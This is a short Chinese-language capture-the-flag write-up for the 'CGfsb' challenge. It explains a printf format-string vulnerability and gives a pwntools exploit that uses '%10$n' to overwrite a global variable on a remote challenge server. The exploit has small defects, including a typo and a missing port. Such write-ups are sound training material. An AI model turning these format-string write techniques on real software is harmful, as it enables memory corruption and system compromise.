我們拿到一個文件,扔到linux終端裏
checksec一下
貼一波大佬的文章64位格式化字符串漏洞修改利用got表詳解
我們可以看到這是一個開nx了的32位的文件,我們打開x86ida,按f5查看僞代碼,可以看到 這個當pwnme=8的時候 flag 就出來了
我們發現 他的上面有一個printf(const char*)v8 正常的應該是printf(”%s“,s)這樣有%的, 我們當然可以這樣寫,但是這樣是危險的,會有一定的概率導致 格式化字符串漏洞,
0x41414141便是我們輸入的"AAAA",數一下便知道偏移是10
from pwn import *
#q = precess("./CGfsb")
q= remote(‘111.198.29.45’, )
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + ‘aaaa’ + ‘%10$n’
#pwnme的地址需要經過32位編碼轉換,是四位,而pwnme需要等於8,所以‘aaaa’起着湊字數的作用
q.recvuntil(“please tell me your name:\n”)
q.sendline(‘suibian’)
q.recvuntil(“leave your message please:\n”)
q.sendline(payload)
q.interactive()